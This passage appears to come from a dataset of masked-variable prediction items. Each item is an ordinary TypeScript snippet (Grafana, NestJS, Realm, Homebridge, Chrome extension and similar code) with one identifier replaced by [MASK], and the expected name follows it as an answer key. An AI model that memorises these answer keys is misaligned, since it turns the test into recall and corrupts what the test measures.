            else return Observable.empty();
        }).map(pluginFields => {
            if (pluginFields) return $tw.wiki.addTiddler(pluginFields);
        }).ignoreElements();
    };


    /**
    libraryPath: Path of library folder for these plugins (relative to core path)
    envVar: Environment variable name for these plugins
    Returns an array of search paths
    */
    function getLibraryItemSearchPaths(libraryPath, envVar) {
        var pluginPaths = [path.resolve($tw.boot.corePath, libraryPath)],
            env = process.env[envVar];
        if (env) {
            env.split(path.delimiter).map(function (item) {
                if (item) {
                    pluginPaths.push(item)
                }
            });
        }
        return pluginPaths;
    };

    /**
    plugins: Array of names of plugins (eg, ""tiddlywiki/filesystemadaptor"")
    libraryPath: Path of library folder for these plugins (relative to core path)
    envVar: Environment variable name for these plugins
    */
    function loadPlugins(plugins, libraryPath, envVar) {
        if (plugins) {
            var pluginPaths = getLibraryItemSearchPaths(libraryPath, envVar);
            return Observable.from(plugins).mergeMap(plugin => {
                return loadPlugin(plugin, pluginPaths);
            }, maxConcurrent);
        } else {
            return Observable.empty();
        }
    };

    /*
     * Loads the tiddlers from a wiki directory
     * @param wikiPath - path of wiki directory
     * @param options
     * @param options.parentPaths - array of parent paths that we mustn't recurse into
     * @param options.readOnly - true if the tiddler file paths should not be retained
     */
    /**
     * 
     * 
     * @param {any} wikiPath path of wiki directory
     * @param {any} [options] 
     * @returns 
     */
    function loadWikiTiddlers(wikiPath, options?) {
        options = options || {};
        var parentPaths = options.parentPaths || [],
            wikiInfoPath = path.resolve(wikiPath, $tw.config.wikiInfo),
            //wikiInfo,
            pluginFields;
        // Bail if we don't have a wiki info file
        return obs_readFile()(wikiInfoPath, ""utf8"").concatMap(([err, wikiInfoFile]) => {
            if (err) return Observable.empty<WikiInfo>()
            var wikiInfo = JSON.parse(wikiInfoFile) as WikiInfo;
            // Load any parent wikis
            if (wikiInfo.includeWikis) {
                parentPaths = parentPaths.slice(0);
                parentPaths.push(wikiPath);
                return Observable.from(wikiInfo.includeWikis).concatMap((info: { path: string, ""read-only""?: boolean }) => {
                    if (typeof info === ""string"") {
                        info = { path: info };
                    }
                    var resolvedIncludedWikiPath = path.resolve(wikiPath, info.path);
                    if (parentPaths.indexOf(resolvedIncludedWikiPath) === -1) {
                        return loadWikiTiddlers(resolvedIncludedWikiPath, {
                            parentPaths: parentPaths,
                            readOnly: info[""read-only""]
                        }).map(subWikiInfo => {
                            wikiInfo.build = $tw.utils.extend([], subWikiInfo.build, wikiInfo.build);
                        });
                    } else {
                        $tw.utils.error(""Cannot recursively include wiki "" + resolvedIncludedWikiPath);
                    }
                }).count().mapTo(wikiInfo); //drop any output and just forward the wikiInfo.
            }
            return Observable.of(wikiInfo);
        }).concatMap(wikiInfo => {
            return Observable.concat(
                loadPlugins(wikiInfo.plugins, $tw.config.pluginsPath, $tw.config.pluginsEnvVar),
                loadPlugins(wikiInfo.themes, $tw.config.themesPath, $tw.config.themesEnvVar),
                loadPlugins(wikiInfo.languages, $tw.config.languagesPath, $tw.config.languagesEnvVar)
            ).count().mapTo(wikiInfo);
        }).concatMap(wikiInfo => {
            // Load the wiki files, registering them as writable
            var resolvedWikiPath = path.resolve(wikiPath, $tw.config.wikiTiddlersSubDir);
            return loadTiddlersFromPath(resolvedWikiPath).do(tiddlerFile => {
                if (!options.readOnly && tiddlerFile.filepath) {
                    $tw.utils.each(tiddlerFile.tiddlers, function (tiddler) {
                        $tw.boot.files[tiddler.title] = {
                            filepath: tiddlerFile.filepath,
                            type: tiddlerFile.type,
                            hasMetaFile: tiddlerFile.hasMetaFile
                        };
                    });
                }
                $tw.wiki.addTiddlers(tiddlerFile.tiddlers);
            }).count().mapTo([wikiInfo, resolvedWikiPath] as [typeof wikiInfo, typeof resolvedWikiPath]);
        }).concatMap(([wikiInfo, resolvedWikiPath]) => {
            // Save the original tiddler file locations if requested
            var config = wikiInfo.config || {};
            if (config[""retain-original-tiddler-path""]) {
                var output = {};
                for (var title in $tw.boot.files) {
                    output[title] = path.relative(resolvedWikiPath, $tw.boot.files[title].filepath);
                }
                $tw.wiki.addTiddler({ title: ""$:/config/OriginalTiddlerPaths"", type: ""application/json"", text: JSON.stringify(output) });
            }
            // Save the path to the tiddlers folder for the filesystemadaptor
            $tw.boot.wikiTiddlersPath = path.resolve($tw.boot.wikiPath, config[""default-tiddler-location""] || $tw.config.wikiTiddlersSubDir);
            // Load any plugins, themes and languages listed in the wiki info file
            return Observable.from([
                path.resolve(wikiPath, $tw.config.wikiPluginsSubDir),
                path.resolve(wikiPath, $tw.config.wikiThemesSubDir),
                path.resolve(wikiPath, $tw.config.wikiLanguagesSubDir)
            ]).mergeMap(pluginPath => {
                return obs_readdir(pluginPath)(pluginPath)
            }).mergeMap(([err, pluginFolders, pluginPath]) => {
                if (err) return Observable.empty();
                else return Observable.from(pluginFolders.map(a => [a, pluginPath]))
            }).mergeMap(([pluginFolder, pluginPath]) => {
                return loadPluginFolder(path.resolve(pluginPath, ""./"" + pluginFolder));
            }).map(pluginFields => {
                $tw.wiki.addTiddler(pluginFields);
            }).count().mapTo(wikiInfo);
        }).defaultIfEmpty(null); //emit null if we don't emit anything else
    };


    function loadTiddlersNode() {
        // Load the boot tiddlers
        return Observable.merge(
            //load the boot tiddlers
            loadTiddlersFromPath($tw.boot.bootPath).do(tiddlerFile => {
                $tw.wiki.addTiddlers(tiddlerFile.tiddlers);
            }).ignoreElements(),
            //load the core plugin
            loadPluginFolder($tw.boot.corePath).do(coreTiddlers => {
                $tw.wiki.addTiddler(coreTiddlers);
            }).ignoreElements(),
            //load the data folder, if we have one
            ($tw.boot.wikiPath ? loadWikiTiddlers($tw.boot.wikiPath).do(wikiInfo => {
                $tw.boot.wikiInfo = wikiInfo;
            }) : Observable.empty())
        ).ignoreElements();
    };

    $tw.utils.extend($tw, {
        loadTiddlersFromFile,
        loadMetadataForFile,
        loadTiddlersFromPath,
        loadTiddlersFromSpecification,
        loadPluginFolder,
        findLibraryItem,
        loadPlugin,
        getLibraryItemSearchPaths,
        loadPlugins,
        loadWikiTiddlers,
        loadTiddlersNode
    })

}",metafilename
617,"import { prisma } from '@workspace/prisma-postgres'
import { generatePresignedGetUrl, uploadRawLogToS3 } from '@workspace/s3-uploader'
import { summarizeLogs } from '@workspace/openai-llm'
import { BUCKET_NAME } from './log.constants'


export const createLogEntry = async ( [MASK] : string) => {
  const { s3Key } = await uploadRawLogToS3(BUCKET_NAME,  [MASK] )
  let summary: string | null = null
  try {
    summary = await summarizeLogs( [MASK] )
  } catch (err) {
    console.error('Error summarizing logs:', err)
    summary = null
  }
  return prisma.logEntry.create({
    data: {
      rawLogKey: s3Key,
      summary,
    },
  })
}

export const getLogEntry = async (id: number) => {
  return prisma.logEntry.findUnique({
    where: { id },
  })
}

export const getLogEntryWithPresignedUrl = async (id: number) => {
  const logRecord = await getLogEntry(id);
  if (!logRecord) return null;

  let presignedUrl: string | null = null;
  if (logRecord.rawLogKey) {
    presignedUrl = await generatePresignedGetUrl(
      BUCKET_NAME,
      logRecord.rawLogKey,
      3600 // expires in 1 hour
    );
  }
  return {
    ...logRecord,
    presignedUrl,
  };
};


export const listLogEntries = async (page = 1, pageSize = 10) => {
  const skip = (page - 1) * pageSize
  const items = await prisma.logEntry.findMany({
    skip,
    take: pageSize,
    orderBy: { createdAt: 'desc' },
  })
  const totalCount = await prisma.logEntry.count()
  return { items, totalCount, page, pageSize }
}

export const searchLogEntries = async (q: string, page = 1, pageSize = 10) => {
  const skip = (page - 1) * pageSize
  const items = await prisma.logEntry.findMany({
    where: { summary: { contains: q, mode: 'insensitive' } },
    skip,
    take: pageSize,
    orderBy: { createdAt: 'desc' },
  })
  const totalCount = await prisma.logEntry.count({
    where: { summary: { contains: q, mode: 'insensitive' } },
  })
  return { items, totalCount, page, pageSize }
}",rawLogText
618,"import {
  AppEvents,
  ArrayVector,
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
} from '@grafana/data';
import { BackendSrvRequest, getBackendSrv, SystemJS } from '@grafana/runtime';

import { MyDataSourceOptions, MyQuery } from './types';
import { DATAFRAME_KEY } from './utils/constants';
import { getFilters, getFunctions, getInterval } from './utils/query';
import { getIntervals } from './utils/time-intervals';
import { Schema } from './utils/types';
import { separateTypeAndField } from './utils/utils';

const HEADERS = { 'Content-Type': 'application/json' };
const PREFIX = '/grafana/v0';
export const ALL_KEY = 'ALL()';

export class DataSource extends DataSourceApi<MyQuery, MyDataSourceOptions> {
  intervals: any;
  currencyInterval: any;
  isChangeCurrencyInterval = false;
  queryError: string | undefined;
  private appEvents: any;
  private url: string | undefined;

  constructor(instanceSettings: DataSourceInstanceSettings<MyDataSourceOptions>) {
    super(instanceSettings);
    this.url = instanceSettings.url;

    if (typeof instanceSettings.basicAuth === 'string' && instanceSettings.basicAuth.length > 0) {
      (HEADERS as any)['Authorization'] = instanceSettings.basicAuth;
    }

    SystemJS.load('app/core/app_events').then((appEvents: any) => {
      this.appEvents = appEvents;
    });
  }

  async query(options: DataQueryRequest<MyQuery>): Promise<DataQueryResponse> {
    this.isChangeCurrencyInterval = isChangeInterval(this.currencyInterval, options.range);

    this.currencyInterval = options.range;

    if (options.targets.some((target: any) => target.selectedStream == null)) {
      return { data: [] };
    }

    options.targets = options.targets.map((target: any) => {
      const interval = getInterval(target.selectedInterval, this.isChangeCurrencyInterval);
      if (
        this.isChangeCurrencyInterval &&
        !(
          interval.intervalType === 'MAX_DATA_POINTS' &&
          (isNaN(target.selectedInterval) ||
            this.intervals.find((interval: any) => interval.value === target.selectedInterval) == null)
        )
      ) {
        this.createAlert();
      }

      return {
        refId: target.refId,
        stream: target.selectedStream,
        queryType: 'CUSTOM',
        view: target.requestType == null ? DATAFRAME_KEY : target.requestType,
        symbols:
          target.selectedSymbol != null && target.selectedSymbol !== '' && target.selectedSymbol !== ALL_KEY
            ? [target.selectedSymbol]
            : [],
        hide: target.hide,
        types: [],
        functions: getFunctions(target.selects),
        interval,
        filters: getFilters(target.filters),
        groupBy:
          target.selectedGroups == null
            ? []
            : target.selectedGroups.map((group: string) => {
                const [type, field] = separateTypeAndField(group);
                return { type, name: field };
              }),
        groupByView:
          target.selectedGroups == null ? null : target.selectedOption == null ? 'COLUMN' : target.selectedOption,
      } as any;
    });
    this.intervals = getIntervals(options.maxDataPoints as any, options.range);
    const request$ = this.sendRequest('POST', '/queries/select', options);
    request$
      .then(() => {
        this.queryError = '';
      })
      .catch((er: { data: { message: string } }) => {
        this.queryError = er.data.message;
      });

    return request$.then(result => {
      for (const dataFrame of result.data) {
        if (dataFrame.fields != null) {
          for (const field of dataFrame.fields) {
            field.values = new ArrayVector(field.values);
          }
        }
      }
      return result;
    });
  }

  async testDatasource() {
    return getBackendSrv()
      .datasourceRequest({
        url: this.getUrl('/'),
        method: 'GET',
        headers: HEADERS,
      })
      .then((response: { status: number }) => {
        if (response.status === 200) {
          return { status: 'success', message: 'Data source is working', title: 'Success' };
        }

        return;
      })
      .catch((er: { data: { error_description: string } }) => {
        return { status: 'failed', message: er.data.error_description, title: 'Error' };
      });
  }

  getGroupByViewOptions() {
    return this.sendRequest('GET', '/groupByViewOptions').then(result => result.data);
  }

  getChartTypes(): Promise<string[]> {
    return this.sendRequest('POST', '/types', {}).then(result => result.data);
  }

  getStreams(template: string, offset: number): Promise<{ list: string[]; hasMore: boolean }> {
    return this.sendRequest('GET', `/streams?template=${template}&offset=${offset}&limit=50`).then(
      result => result.data
    );
  }

  getSymbols(template: string, stream: string, offset: number): Promise<{ list: string[]; hasMore: boolean }> {
    return this.sendRequest('GET', `/symbols?template=${template}&stream=${stream}&offset=${offset}&limit=50`).then(
      result => result.data
    );
  }

  getAggregations(): Promise<string[]> {
    return this.sendRequest('GET', '/aggregationTypes').then(result => result.data);
  }

  getStreamSchema(stream: string): Promise<Schema> {
    return this.sendRequest('GET', `/schema?stream=${stream}`).then(result => result.data);
  }

  private createAlert() {
    this.appEvents.emit(AppEvents.alertWarning, ['Selected grouping by time is reset due to time interval change.']);
  }

  private sendRequest(method: string, postfix: string, body?: any): Promise<any> {
    const option: BackendSrvRequest = {
      url: this.getUrl(postfix),
      method,
      headers: HEADERS,
    };

    if (body != null) {
      option.data = body;
    }
    return getBackendSrv().datasourceRequest(option);
  }

  private getUrl(postfix: string): string {
    return `${this.url}${PREFIX}${postfix}`;
  }
}

const isChangeInterval = (currencyInterval: any, range: any) => {
  if (currencyInterval == null) {
    return false;
  }
  let  [MASK]  = false;
  if (typeof range.raw.to === 'string' && typeof currencyInterval.raw.to === 'string') {
     [MASK]  = currencyInterval.raw.to === range.raw.to;
  } else if (typeof range.raw.to !== 'string' && typeof currencyInterval.raw.to !== 'string') {
     [MASK]  = currencyInterval.raw.to.isSame(range.raw.to);
  }
  let equalFrom = false;
  if (typeof range.raw.from === 'string' && typeof currencyInterval.raw.from === 'string') {
    equalFrom = currencyInterval.raw.from === range.raw.from;
  } else if (typeof range.raw.from !== 'string' && typeof currencyInterval.raw.from !== 'string') {
    equalFrom = currencyInterval.raw.from.isSame(range.raw.from);
  }
  return ! [MASK]  || !equalFrom;
};
",equalTo
619,"import { API, DynamicPlatformPlugin, Logger, PlatformAccessory, PlatformConfig, Service, Characteristic } from 'homebridge';

import { PLATFORM_NAME, PLUGIN_NAME } from './settings.js';
import dgram from 'dgram';
import { ESP32LEDPlatformAccessory } from './ESP32LEDPlatformAccessory.js';
import { ESP32DeviceStatusInformation } from './models/deviceStatus.js';

export class GPESP32Platform implements DynamicPlatformPlugin {
  public readonly Service: typeof Service;
  public readonly Characteristic: typeof Characteristic;
  private udpListner: dgram.Socket | undefined;

  // this is used to track restored cached accessories
  public readonly accessories: PlatformAccessory[] = [];
  public readonly connectedLEDS: ESP32LEDPlatformAccessory[] = [];

  constructor(
    public readonly log: Logger,
    public readonly config: PlatformConfig,
    public readonly api: API,
  ) {
    this.Service = this.api.hap.Service;
    this.Characteristic = this.api.hap.Characteristic;
    this.log.debug('Finished initializing platform:', this.config.name);

    this.api.on('didFinishLaunching', () => {
      log.debug('Executed didFinishLaunching callback');
      // run the method to discover / register your devices as accessories
      this.discoverDevices();
    });
    this.api.on('shutdown', ()=>{
      if (this.udpListner) {
        this.udpListner.close();
      }
    });
  }

  configureAccessory(accessory: PlatformAccessory) {
    this.log.info('Loading accessory from cache:', accessory.displayName);
    this.accessories.push(accessory);
  }

  discoverDevices() {

    this.udpListner = dgram.createSocket('udp4');
    this.udpListner.on('message', (msg,  [MASK] ) => {
      this.log.info(`Found: ${ [MASK] .address}`);
      const deviceStatus: ESP32DeviceStatusInformation = JSON.parse(msg + '');
      this.log.info(`MAC: ${deviceStatus.mac}`);
      const uuid = this.api.hap.uuid.generate(deviceStatus.mac);
      this.log.info('UUUUID=>' + uuid);
      const existingAccessory = this.accessories.find(accessory => accessory.UUID === uuid);
      if (!existingAccessory) {
        const accessory = new this.api.platformAccessory<ESP32DeviceStatusInformation>(deviceStatus.publicName, uuid);
        accessory.context = deviceStatus;
        const esp32LEDPlatformAccessory = new ESP32LEDPlatformAccessory(this, accessory,  [MASK] .address);
        this.connectedLEDS.push(esp32LEDPlatformAccessory);
        this.log.info('Register as new Device');
        this.api.registerPlatformAccessories(PLUGIN_NAME, PLATFORM_NAME, [accessory]);
        this.accessories.push(accessory);
      } else {
        const findConnected = this.connectedLEDS.find(accessory => accessory.getUID() === uuid);
        if (findConnected) {
          findConnected.checkForUpdate(deviceStatus);
        } else {
          this.log.info('Activate device');
          existingAccessory.context = deviceStatus;
          const esp32LEDPlatformAccessory = new ESP32LEDPlatformAccessory(this, existingAccessory as PlatformAccessory<ESP32DeviceStatusInformation>,  [MASK] .address);
          this.connectedLEDS.push(esp32LEDPlatformAccessory);
        }
      }

    });
    this.udpListner.bind(8266);
  }
}
",rinfo
620,"import { Test, TestingModule } from '@nestjs/testing';
import { CountryDTO } from '../model/contry.dto';
import { CountriesService } from '../services/countries.service';
import { LogService } from '../services/log.service';
import { ContriesController } from './countries.controller';

class mockContriesService {
  getCountries() {
    const mockContries = [
      {
        name: 'American Samoa',
        capital: 'Pago Pago',
        region: 'Oceania',
        subregion: 'Polynesia',
        flags: {
          png: 'https://flagcdn.com/w320/as.png',
        },
      },
    ];

    return new Promise((resolve) => {
      resolve({ data: mockContries });
    });
  }
}

class mockLogService {
  log(lang, email) {
    return { lang, email };
  }
}

describe('ContriesController', () => {
  let contriesController: ContriesController;

  beforeEach(async () => {
    const app: TestingModule = await Test.createTestingModule({
      controllers: [ContriesController],
      providers: [
        {
          provide: CountriesService,
          useClass: mockContriesService,
        },
        {
          provide: LogService,
          useClass: mockLogService,
        },
      ],
    }).compile();

    contriesController = app.get<ContriesController>(ContriesController);
  });

  describe('root', () => {
    it('GET - COUNTRIES - should return a object', async () => {
      const  [MASK] : CountryDTO[] = [
        {
          name: 'American Samoa',
          capital: 'Pago Pago',
          region: 'Oceania',
          subregion: 'Polynesia',
          flag: 'https://flagcdn.com/w320/as.png',
        },
      ];

      const req = {
        query: { lang: 'pt' },
        authInfo: {
          checkLocalScope: () => true,
          getEmail: () => '<EMAIL>',
        },
      };

      const contries = await contriesController.getCountries(req);
      expect(contries).toEqual( [MASK] );
    });
  });
});
",countriesMock
621,"import { notification } from 'antd';
import axios, { AxiosRequestConfig, AxiosResponse, AxiosError } from 'axios';
import Router from 'next/router';

import Store from '@/store';
import { SSO } from '@/utils/public';

const baseURL = () => {
  let path: string = 'http://172.16.16.181:19010';
  
  switch (process.env.ENV_MODE) {
    case 'platform':
      path = '/';
      break;
    case 'production':
      path = `${ location.protocol }//${ location.hostname }:19010`
      break;
    case 'development':
    default:
      break;
  }
  
  return path;
};

// 定义通用的响应数据类型
interface ApiResponse<T> {
  data: T;
  status: number;
  statusText: string;
  headers: any;
  config: AxiosRequestConfig;
}

// 封装 Axios 请求方法
async function request<T>(config: AxiosRequestConfig): Promise<T> {
  try {
    const response: AxiosResponse<T> = await axios(config);
    const { code } = response.data as any;
    
    switch (true) {
      case code === 1201: // 无效
      case code === 1202: // 过期
        SSO.logout();
        break;
      case code === 1209: // 即将过期
        (response.data as any).code = 200;
        break;
      case code === 1102: // 非白名单用户
        Router.push('/expectancy');
        break;
    }
    
    return response.data;
  }
  catch (error: any) {
    throw error.response?.data || {
      code: error.code,
      msg: '服务器错误',
      data: 500
    };
  }
}

// 使用封装的请求方法
async function fetchData(url: string, data: any, method: string = 'GET') {
  const  [MASK]  = baseURL() + url;
  const token = `Bearer ${ Store.getState().user.token }`;
  
  const headers = {
    'Authorization': token,
    'Content-Type': 'application/json',
  };
  
  const config: AxiosRequestConfig = {
    timeout: 10000,
    method,
    url:  [MASK] ,
    headers: headers,
    ...(method === 'GET' ? { params: data } : { data: data }),
  }
  
  try {
    // 调用封装的请求方法
    return await request<any>(config);
  }
  catch (error: any) {
    if (error.code === 'ECONNABORTED') return error;
    
    console.error('Error:', error);
    notification.error({
      // duration: null,
      message: error.msg,
      style: {
        wordWrap: 'break-word',
        wordBreak: 'break-all'
      }
    });
    return error
  }
}

export default fetchData",apiUrl
622,"/*
  Listener for tracking URL changes
  Matching url in active tab with open.spotify.com/track/
*/
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (
    changeInfo.status === 'complete' &&
    (tab.url?.startsWith('http://open.spotify.com/track/') ||
      tab.url?.startsWith('https://open.spotify.com/track/'))
  ) {
    // Execute script to scrape song data if on a track webpage
    console.log('executing script')
    chrome.scripting.executeScript({
      target: { tabId: tabId },
      files: ['src/script.js'],
    })
  }
})

// On first install, set default values for song data
chrome.runtime.onInstalled.addListener(( [MASK] ) => {
  if ( [MASK] .reason === 'install') {
    chrome.storage.local.set({
      songName: 'Go to Spotify song page to see the track info here!',
      artist: 'Artist Name',
      albumName: 'Album Name',
      image: 'https://picsum.photos/150',
    })
  }
})
",details
623,"import {
  Body,
  Controller,
  Get,
  Logger,
  Patch,
  Req,
  UseGuards,
  UsePipes,
  ValidationPipe,
} from '@nestjs/common';
import { AccountService } from './account.service';
import { ControllerAuthGuard } from 'src/auth/auth.guard';
import { RequestWithAuth } from 'src/types';
import { UpdateAccountDto } from './dto/update-account.dto';

@UsePipes(new ValidationPipe())
@Controller('api/account')
export class AccountController {
  private readonly logger = new Logger(AccountController.name);

  constructor(private readonly accountService: AccountService) {}

  @UseGuards(ControllerAuthGuard)
  @Get()
  async getAccountInfo(@Req() request: RequestWithAuth) {
    const { id, isOrganization } = request;

    const account = await this.accountService.getAccountInfo(
      id,
      isOrganization,
    );

    return {
      message: 'Account retrieved successfully',
      statusCode: 200,
      data: account,
    };
  }

  @UseGuards(ControllerAuthGuard)
  @Patch()
  async updateAccountInfo(
    @Req() request: RequestWithAuth,
    @Body()  [MASK] : UpdateAccountDto,
  ) {
    const { id, isOrganization } = request;

    await this.accountService.updateAccountInfo(
      id,
      isOrganization,
       [MASK] ,
    );

    return {
      message: 'Account updated successfully',
      statusCode: 200,
    };
  }
}
",updateAccountDto
624,"import { BSON } from 'realm';
import { LashingFormSchema } from '../lashingFormSchema';

export const migrationFunction: Realm.MigrationCallback = (
  oldRealm,
   [MASK] 
) => {
  console.log('Executing migration function');
  if (oldRealm.schemaVersion < 2) {
    const LashingFormSchema =  [MASK] .schema.find(
      (s) => s.name === 'LashingFormSchema'
    );
    if (LashingFormSchema) {
       [MASK] .create(
        'LashingFormSchema',
        {
          _id: {
            type: 'string',
            default: () => new Realm.BSON.ObjectID().toHexString()
          },
          clientName: 'string',
          certificateNumber: 'string',
          date: 'string',
          containersNumber: 'string',
          reservationNumber: 'string',
          loadingPort: 'string',
          destinationPort: 'string',
          cargoNumber: 'string',
          cargoDescription: 'string',
          cargoDimensions: 'string',
          cargoWeight: 'string',
          materialNumber: 'string',
          materialDescription: 'string',
          materialQuantity: 'string',
          materialSWL: 'string',
          cintasQuantity: 'string',
          companyName: 'string',
          cargoLateralExcess: 'string',
          cargoHeightExcess: 'string',
          cargoDate: 'string',
          image: { type: 'list', objectType: 'LashingImageList' }
        },
        true
      );

      const existingObjects =  [MASK] .objects('LashingFormSchema');

      existingObjects.forEach((object: any) => {
        if (!object._id) {
          object._id = new BSON.ObjectId();
        }
      });
    }
  }
  if (oldRealm.schemaVersion <= 3) {
    console.log('executing version 3');
    const CarFormSchema =  [MASK] .schema.find(
      (s) => s.name === 'CarFormSchema'
    );
    if (CarFormSchema) {
       [MASK] .create(
        'CarFormSchema',
        {
          _id: {
            type: 'string',
            default: () => new Realm.BSON.ObjectID().toHexString()
          },
          containerNumber: 'string',
          containerType: 'string',
          reportDate: 'string',
          day: 'string',
          clientName: 'string',
          sector: 'string',
          local: 'string',
          contractor: 'string',
          responsible: 'string',
          function: 'string',
          entryTime: 'string',
          exitTime: 'string',
          turnTime: 'string',
          breakIn: 'string',
          breakOut: 'string',
          breakTurn: 'string',
          morningWeather: 'string?',
          morningStatus: 'string?',
          afternoonWeather: 'string?',
          afternoonStatus: 'string?',
          nightWeather: 'string?',
          nightStatus: 'string?',
          activity: 'string?',
          certificateDescription: 'string?',
          containerDescription: 'string?',
          containerStatus: 'string?',
          image: { type: 'list', objectType: 'LashingImageList' }
        },
        true
      );
      const existingObjects =  [MASK] .objects('CarFormSchema');

      existingObjects.forEach((object: any) => {
        if (!object._id) {
          object._id = new BSON.ObjectId().toHexString();
        }
      });
    }
  }
  if (oldRealm.schemaVersion <= 4) {
    const LashingFormSchema =  [MASK] .schema.find(
      (s) => s.name === 'LashingFormSchema'
    );
    if (LashingFormSchema) {
       [MASK] .create(
        'LashingFormSchema',
        {
          _id: {
            type: 'string',
            default: () => new Realm.BSON.ObjectID().toHexString()
          },
          clientName: 'string',
          certificateNumber: 'string',
          date: 'string',
          containersNumber: 'string',
          reservationNumber: 'string',
          loadingPort: 'string',
          destinationPort: 'string',
          cargoNumber: 'string',
          cargoDescription: 'string',
          cargoDimensions: 'string',
          cargoWeight: 'string',
          materialNumber: 'string',
          materialDescription: 'string',
          materialQuantity: 'string',
          materialSWL: 'string',
          cintasQuantity: 'string',
          companyName: 'string',
          cargoLateralExcess: 'string',
          cargoHeightExcess: 'string',
          cargoDate: 'string',
          image: { type: 'list', objectType: 'LashingImageList' },
          newCargo: { type: 'list', objectType: 'LashingCargoList' },
          newMaterial: { type: 'list', objectType: 'LashingMaterialList' }
        },
        true
      );

      const existingObjects =  [MASK] .objects('LashingFormSchema');

      existingObjects.forEach((object: any) => {
        if (!object._id) {
          object._id = new BSON.ObjectId();
        }
      });
    }
  }
  if (oldRealm.schemaVersion <= 5) {
    console.log('executing version 5');
    const CarFormSchema =  [MASK] .schema.find(
      (s) => s.name === 'CarFormSchema'
    );
    if (CarFormSchema) {
       [MASK] .create(
        'CarFormSchema',
        {
          _id: {
            type: 'string',
            default: () => new Realm.BSON.ObjectID().toHexString()
          },
          containerNumber: 'string',
          containerType: 'string',
          reportDate: 'string',
          day: 'string',
          clientName: 'string',
          sector: 'string',
          local: 'string',
          contractor: 'string',
          responsible: 'string',
          function: 'string',
          entryTime: 'string',
          exitTime: 'string',
          turnTime: 'string',
          breakIn: 'string',
          breakOut: 'string',
          breakTurn: 'string',
          morningWeather: 'string?',
          morningStatus: 'string?',
          afternoonWeather: 'string?',
          afternoonStatus: 'string?',
          nightWeather: 'string?',
          nightStatus: 'string?',
          activity: 'string?',
          certificateDescription: 'string?',
          containerDescription: 'string?',
          containerStatus: 'string?',
          descriptionInitHour: 'string?',
          descriptionFinalHour: 'string?',
          palletsQuantity: 'string?',
          avaria: 'string?',
          auxiliarQuantity: 'string?',
          forkliftQuantity: 'string?',
          descriptionObservation: 'string?',
          image: { type: 'list', objectType: 'LashingImageList' }
        },
        true
      );
      const existingObjects =  [MASK] .objects('CarFormSchema');

      existingObjects.forEach((object: any) => {
        if (!object._id) {
          object._id = new BSON.ObjectId().toHexString();
        }
      });
    }
  }

  console.log('Migration completed');
};
",newRealm
625,"""use client""

import type React from ""react""

// Adapted from shadcn/ui toast component
import { useState, useEffect, createContext } from ""react""

const TOAST_LIMIT = 5
const TOAST_REMOVE_DELAY = 5000

type ToasterToast = {
  id: string
  title?: string
  description?: string
  action?: React.ReactNode
  variant?: ""default"" | ""destructive""
}

const actionTypes = {
  ADD_TOAST: ""ADD_TOAST"",
  UPDATE_TOAST: ""UPDATE_TOAST"",
  DISMISS_TOAST: ""DISMISS_TOAST"",
  REMOVE_TOAST: ""REMOVE_TOAST"",
} as const

let count = 0

function genId() {
  count = (count + 1) % Number.MAX_SAFE_INTEGER
  return count.toString()
}

type ActionType = typeof actionTypes

type Action =
  | {
      type: ActionType[""ADD_TOAST""]
      toast: ToasterToast
    }
  | {
      type: ActionType[""UPDATE_TOAST""]
      toast: Partial<ToasterToast>
      id: string
    }
  | {
      type: ActionType[""DISMISS_TOAST""]
      id: string
    }
  | {
      type: ActionType[""REMOVE_TOAST""]
      id: string
    }

interface State {
  toasts: ToasterToast[]
}

const toastTimeouts = new Map<string, ReturnType<typeof setTimeout>>()

const addToRemoveQueue = (toastId: string) => {
  if (toastTimeouts.has(toastId)) {
    return
  }

  const  [MASK]  = setTimeout(() => {
    toastTimeouts.delete(toastId)
    dispatch({
      type: ""REMOVE_TOAST"",
      id: toastId,
    })
  }, TOAST_REMOVE_DELAY)

  toastTimeouts.set(toastId,  [MASK] )
}

export const reducer = (state: State, action: Action): State => {
  switch (action.type) {
    case ""ADD_TOAST"":
      return {
        ...state,
        toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),
      }

    case ""UPDATE_TOAST"":
      return {
        ...state,
        toasts: state.toasts.map((t) => (t.id === action.id ? { ...t, ...action.toast } : t)),
      }

    case ""DISMISS_TOAST"": {
      const { id } = action

      // First dismiss the toast
      if (id) {
        addToRemoveQueue(id)
      }

      // Then remove it from the state
      return {
        ...state,
        toasts: state.toasts.map((t) =>
          t.id === id
            ? {
                ...t,
                open: false,
              }
            : t,
        ),
      }
    }
    case ""REMOVE_TOAST"":
      if (action.id === undefined) {
        return {
          ...state,
          toasts: [],
        }
      }
      return {
        ...state,
        toasts: state.toasts.filter((t) => t.id !== action.id),
      }
  }
}

const listeners: Array<(state: State) => void> = []

let memoryState: State = { toasts: [] }

function dispatch(action: Action) {
  memoryState = reducer(memoryState, action)
  listeners.forEach((listener) => {
    listener(memoryState)
  })
}

type Toast = Omit<ToasterToast, ""id"">

function toast({ ...props }: Toast) {
  const id = genId()

  const update = (props: ToasterToast) =>
    dispatch({
      type: ""UPDATE_TOAST"",
      id,
      toast: props,
    })

  const dismiss = () => dispatch({ type: ""DISMISS_TOAST"", id })

  dispatch({
    type: ""ADD_TOAST"",
    toast: {
      ...props,
      id,
      open: true,
      onOpenChange: (open) => {
        if (!open) dismiss()
      },
    },
  })

  return {
    id,
    dismiss,
    update,
  }
}

type ToastContextType = {
  toasts: ToasterToast[]
  toast: typeof toast
  dismiss: (id: string) => void
}

const ToastContext = createContext<ToastContextType | null>(null)

function useToast() {
  const [state, setState] = useState<State>(memoryState)

  useEffect(() => {
    listeners.push(setState)
    return () => {
      const index = listeners.indexOf(setState)
      if (index > -1) {
        listeners.splice(index, 1)
      }
    }
  }, [state])

  return {
    ...state,
    toast,
    dismiss: (id: string) => dispatch({ type: ""DISMISS_TOAST"", id }),
  }
}

export { useToast, ToastContext }

",timeout
626,"import {
    Interaction,
    InteractionResponse,
    InteractionResponseType,
} from '@glenstack/cf-workers-discord-bot';
import * as iflive from './lib/iflive';
import { AirportStatus, UserStats } from './lib/iflive/types';

const servers: { [key: string]: string } = {
    '6a04ffe8-765a-4925-af26-d88029eeadba': 'Training Server',
    '7e5dcd44-1fb5-49cc-bc2c-a9aab1f6a856': 'Expert Server',
};
const atcTypeNames = [
    'Ground',
    'Tower',
    'Unicom',
    'Clearance',
    'Approach',
